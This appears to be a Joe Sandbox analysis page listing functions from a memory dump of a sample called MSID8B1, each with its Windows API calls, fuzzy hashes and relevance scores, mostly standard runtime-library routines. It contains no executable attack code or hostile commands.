Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c088d6f79354faf8b1bce494a29b4de1bf964f76c3977490bbe1990304a04063
Instruction ID: 626be23fea60b724d109ca2c7b9e4fa6cfb0927e18029eb1ec18e6a42a16728e
Opcode Fuzzy Hash: c088d6f79354faf8b1bce494a29b4de1bf964f76c3977490bbe1990304a04063
Instruction Fuzzy Hash: F7B14A729046459FDB25CF68C8D1BEEBBF5EF55312F1881E9EC05AB281D2349D09CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B433A8 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00B433B4
IsDebuggerPresent.KERNEL32 ref: 00B43480
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B434A0
UnhandledExceptionFilter.KERNEL32(?), ref: 00B434AA

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 13cd6717b269352986f107f8b3dd1341d2710f158d4bd7b7e05981cf7c02abf5
Instruction ID: 11cbaddd33998cdb1279d414a49c32a18a04c5cd2d02c88fa64a5fd9be39dfd8
Opcode Fuzzy Hash: 13cd6717b269352986f107f8b3dd1341d2710f158d4bd7b7e05981cf7c02abf5
Instruction Fuzzy Hash: EC314975D452189BDF10EFA0D989BCCBBF8AF08704F1040EAE50CAB290EB759B859F44

Uniqueness

Uniqueness Score: -1.00%

Function 00B2D0A5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B2C630: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,823FDEC6,?,00B63D30,000000FF), ref: 00B2C657
Part of subcall function 00B2C630: GetLastError.KERNEL32(?,00000000,00000000,823FDEC6,?,00B63D30,000000FF), ref: 00B2C661

IsDebuggerPresent.KERNEL32(?,?,00B78AF0), ref: 00B2D0D8
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,00B78AF0), ref: 00B2D0E7

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00B2D0E2

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 281e2ee71b3424083d6082044a1d6be1ef748fb31d338298ddbbb0e9b8bc06ca
Instruction ID: ec54656e9dfe92c1d46d35ebccf7d3be00980df13ce8d6233867bc5f6114b929
Opcode Fuzzy Hash: 281e2ee71b3424083d6082044a1d6be1ef748fb31d338298ddbbb0e9b8bc06ca
Instruction Fuzzy Hash: 0BE06D702047618FE360AF28F418B477AE0AF15708F0088DDE459D32A0DFB9D4898BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B5E237 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00B557CC: GetLastError.KERNEL32(?,00000008,00B5AD4C), ref: 00B557D0
Part of subcall function 00B557CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B55872

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B5E28B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B5E2D5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B5E39B

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 1d6187ca426f47199ff1a484226a1f59bd393a5956546445f3be718f71f9d6b4
Instruction ID: dc2b222ab034e9080c92417f434b1dc79164ddbd399ef33ccd3c92fe1f26f6d1
Opcode Fuzzy Hash: 1d6187ca426f47199ff1a484226a1f59bd393a5956546445f3be718f71f9d6b4
Instruction Fuzzy Hash: 536180715402079BEB2D9F24CC82BAA77E8EF18302F1041F9ED25D7285EB74DA89DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B46E1B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00B46F13
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00B46F1D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00B46F2A

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 616dbfac943d6275678d34f454b7d4ac78280ee0d2678292efa818f69c02ed5d
Instruction ID: a68a21b6fb7e5fa9572e06962d3d779a9886aa3f73f5c267ab0103f93e56eeca
Opcode Fuzzy Hash: 616dbfac943d6275678d34f454b7d4ac78280ee0d2678292efa818f69c02ed5d
Instruction Fuzzy Hash: 3D31C374901228ABCB21DF64D9897CDBBF8BF18310F5041EAE51CA7290EB749F859F45

Uniqueness

Uniqueness Score: -1.00%

Function 00B245B0 Relevance: 4.6, APIs: 3, Instructions: 64COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,823FDEC6,00000001,00000000,?,00000000,00B64460,000000FF,?,00B2474D,00B23778,?,00000000,00000000,?), ref: 00B245DB
LockResource.KERNEL32(00000000,?,00000000,00B64460,000000FF,?,00B2474D,00B23778,?,00000000,00000000,?,?,?,?,00B23778), ref: 00B245E6
SizeofResource.KERNEL32(00000000,00000000,?,00000000,00B64460,000000FF,?,00B2474D,00B23778,?,00000000,00000000,?,?,?), ref: 00B245F4

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: 33fdcd0c17629a3a6bb51b6c37bb3d5c1a828ac094ad8ea60276c0181a0fe11e
Instruction ID: 1f08b875ae7e0f77d86511838519968f2ad6e82db2632fb9a70362db51223429
Opcode Fuzzy Hash: 33fdcd0c17629a3a6bb51b6c37bb3d5c1a828ac094ad8ea60276c0181a0fe11e
Instruction Fuzzy Hash: 2C11A732A046649BC7368F59ED45B66B7E8E786B15F0005AEEC1DD3690EF799C00C690

Uniqueness

Uniqueness Score: -1.00%

Function 00B4E270 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b8607f755f17a23646f2bf370a959f638319f8f7f89048cc653de111095432
Instruction ID: 77ec6beb38a656342f9c4533b01f62eabc9b3fc070f5d775ab208310669303a8
Opcode Fuzzy Hash: c3b8607f755f17a23646f2bf370a959f638319f8f7f89048cc653de111095432
Instruction Fuzzy Hash: 74F13071E012199FDF14CFA8D9806ADB7F1FF98324F1582A9E825A7381D730AE05DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00B57B1F Relevance: 1.9, APIs: 1, Instructions: 408timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00B57F64,00000000,00000000,00000000), ref: 00B57E23

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: 16fb0c920ceabaf48fe9a4549fc799f4e78b8748d54ba036da8bd47680065f15
Instruction ID: 3b7d70fbaebe9c0d000bbf597ec36c500e1691f1ea15067dce6c7eb4cbf2e712
Opcode Fuzzy Hash: 16fb0c920ceabaf48fe9a4549fc799f4e78b8748d54ba036da8bd47680065f15
Instruction Fuzzy Hash: B1C1F372A44215ABDB20AB64AC02BBE7BF9EF04751F5440E6FD05AB291EF708E45C790

Uniqueness

Uniqueness Score: -1.00%

Function 00B584BD Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00B584B8,?,?,00000008,?,?,00B614E4,00000000), ref: 00B586EA

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 276dd20613d482c36fa10ee4a891dd2d592877af1aaba0824fc0f69f6b095c6a
Instruction ID: 255aed580ba6c4b16c3549975f44925624c1bd9a9b19a8674e21910fce2ba33b
Opcode Fuzzy Hash: 276dd20613d482c36fa10ee4a891dd2d592877af1aaba0824fc0f69f6b095c6a
Instruction Fuzzy Hash: 6CB12931210605CFD715CF28C486B657BE0FB49366F2586D8E89ADF2A1CB35ED96CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00B435A9 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00B435BF

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 67451ce657776dd652e692be3940fd20b605a1ceb5597244a4ece48d8ef88d44
Instruction ID: 0b700070b5b781225d85bdc87539cc019b0124c8f4f3ad7e0e73508ceaab63ad
Opcode Fuzzy Hash: 67451ce657776dd652e692be3940fd20b605a1ceb5597244a4ece48d8ef88d44
Instruction Fuzzy Hash: 4B518BB1A04215CBEB25CF58D881BAABBF0FB04754F18806EC449EB350D774AE80DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B5AF79 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25f96ebe93ab791b49f6ff6eab489074789be56cb981823b2d621030916e6f02
Instruction ID: bf34b3533ea32f306adf6c7fedc29d850b1d420888d52d323a1ef07ee27895ce
Opcode Fuzzy Hash: 25f96ebe93ab791b49f6ff6eab489074789be56cb981823b2d621030916e6f02
Instruction Fuzzy Hash: 6D31D772900319AFDB20DFA9CC85EBBB7ADEB84311F1442D9FD15D7240EA30AE448B90

Uniqueness

Uniqueness Score: -1.00%

Function 00B4A587 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00B4A715

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 946e30ca64de258661333a4a20cc175995373d6fa3b952e291408ab08c9d16c4
Instruction ID: 27fc5834567c9d9a18f931fae28b923a55b14397988f1d4e022830279f83146e
Opcode Fuzzy Hash: 946e30ca64de258661333a4a20cc175995373d6fa3b952e291408ab08c9d16c4
Instruction Fuzzy Hash: 97C1BF709806468FCB28CF28C590A7EBBF1FF55310F284699D4969B291C731EF46EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00B5E48A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00B557CC: GetLastError.KERNEL32(?,00000008,00B5AD4C), ref: 00B557D0
Part of subcall function 00B557CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B55872

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B5E4DE

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 477bc9368b7f7f870cfecd57a10df4132ac27e11fddc76c94d575f7916e5e0d2
Instruction ID: a6f0a42eb9579f40326cfb46a4706e21244642cbcf7dc665039dfa512aaa7a43
Opcode Fuzzy Hash: 477bc9368b7f7f870cfecd57a10df4132ac27e11fddc76c94d575f7916e5e0d2
Instruction Fuzzy Hash: 7321A172644206ABDB29AE24EC42B7A73E8EB14316B1000FAFD15D6141FB74EE08D750

Uniqueness

Uniqueness Score: -1.00%

Function 00B5E111 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B557CC: GetLastError.KERNEL32(?,00000008,00B5AD4C), ref: 00B557D0
Part of subcall function 00B557CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B55872

EnumSystemLocalesW.KERNEL32(00B5E237,00000001,00000000,?,-00000050,?,00B5E868,00000000,?,?,?,00000055,?), ref: 00B5E183

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 88bf93d3225de58944b0f24af95cc37d93a8258daa166350d669bf6e3f1718c4
Instruction ID: 00f3b9daf96ddfe2a7b0402314ea9b62114b3238563676398fd3daa3ada9e49e
Opcode Fuzzy Hash: 88bf93d3225de58944b0f24af95cc37d93a8258daa166350d669bf6e3f1718c4
Instruction Fuzzy Hash: E811293B2007019FDB1C9F39C8916BAB7D2FF8472AB1544ACE95697A40D771BA46CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00B5E6B9 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00B557CC: GetLastError.KERNEL32(?,00000008,00B5AD4C), ref: 00B557D0
Part of subcall function 00B557CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B55872

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00B5E453,00000000,00000000,?), ref: 00B5E6E5

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 202a08fef2a97f11d526219112f2e3eaf645956a04e81bb29393bed666ed2e08
Instruction ID: 4c6e9fe224912c38866b739a73f1ed8aa80ad326e1183aaa60c226da8b9c5502
Opcode Fuzzy Hash: 202a08fef2a97f11d526219112f2e3eaf645956a04e81bb29393bed666ed2e08
Instruction Fuzzy Hash: AFF0A936600212BBDB2C5B648C45BBA77D8EB44755F1504E5EC25A3180EA74FF45C690

Uniqueness

Uniqueness Score: -1.00%

Function 00B5E1AC Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B557CC: GetLastError.KERNEL32(?,00000008,00B5AD4C), ref: 00B557D0
Part of subcall function 00B557CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B55872

EnumSystemLocalesW.KERNEL32(00B5E48A,00000001,?,?,-00000050,?,00B5E82C,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00B5E1F6

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b2b6377b4c277a967764adf5c16346246cbee042b8319c3c73eccdc2b7e2b73a
Instruction ID: 4ea9f47d596a0ee2d5a9f5078194967b807df0594bd57a3ceb288f8e5c4280ea
Opcode Fuzzy Hash: b2b6377b4c277a967764adf5c16346246cbee042b8319c3c73eccdc2b7e2b73a
Instruction Fuzzy Hash: FBF046362007045FCB285F358C85B7A7BD5EF80729F0484ECFD158B680C6B1ED02CA50

Uniqueness

Uniqueness Score: -1.00%

Function 00B57132 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B51C9A: EnterCriticalSection.KERNEL32(-00B7DE50,?,00B53576,?,00B7A078,0000000C,00B53841,?), ref: 00B51CA9

EnumSystemLocalesW.KERNEL32(00B57125,00000001,00B7A1D8,0000000C,00B57554,00000000), ref: 00B5716A

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: de2cddbf813f5fc4bb07e92a537183922395043ba4a333bbf95ee62a89b5e75d
Instruction ID: 44c620381652a4af1a7e61e85d529ef820f0ee0ac33e84e4f8c04b539c8b2d7d
Opcode Fuzzy Hash: de2cddbf813f5fc4bb07e92a537183922395043ba4a333bbf95ee62a89b5e75d
Instruction Fuzzy Hash: 9DF04972A44204DFE700DFA8E846B9C77F0FB49726F0085DAF814EB2A0DB7599449F80

Uniqueness

Uniqueness Score: -1.00%

Function 00B5E0C6 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B557CC: GetLastError.KERNEL32(?,00000008,00B5AD4C), ref: 00B557D0
Part of subcall function 00B557CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B55872

EnumSystemLocalesW.KERNEL32(00B5E01F,00000001,?,?,?,00B5E88A,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00B5E0FD

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 4649c46a93505f497fbcedc8b569a93a7bfc4ea932923bfdedaa07b4d3a2785b
Instruction ID: 548b0c173b4c89747a91cb97c763557a3bf1d41d27ec581a9fb27332c6569063
Opcode Fuzzy Hash: 4649c46a93505f497fbcedc8b569a93a7bfc4ea932923bfdedaa07b4d3a2785b
Instruction Fuzzy Hash: 52F0553A30020597CB08AF35CC4676A7FD4EFC1762F0A00D8EE15CB290C6B1D986C790

Uniqueness

Uniqueness Score: -1.00%

Function 00B423F8 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002,?,?,00B400E2,00000000,00000000,00000004,00B3ED14,00000000,00000004,00B3F127,00000000,00000000), ref: 00B42410

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 12fc263d4af4420116ed80d0387e147840a6c111e6867e92ebbc0b7ff33c04a1
Instruction ID: 30821472b4f28e51d95242a862c9402a84bd5701628e575f94626a81bb0a733e
Opcode Fuzzy Hash: 12fc263d4af4420116ed80d0387e147840a6c111e6867e92ebbc0b7ff33c04a1
Instruction Fuzzy Hash: 96E0D832794104B6D7154B7C9E0FFBA76DCD70170AF9041D1FA02E51D1DAA1CB00B161

Uniqueness

Uniqueness Score: -1.00%

Function 00B576AF Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00B54E3F,?,20001004,00000000,00000002,?,?,00B54441), ref: 00B576E3

Memory Dump Source

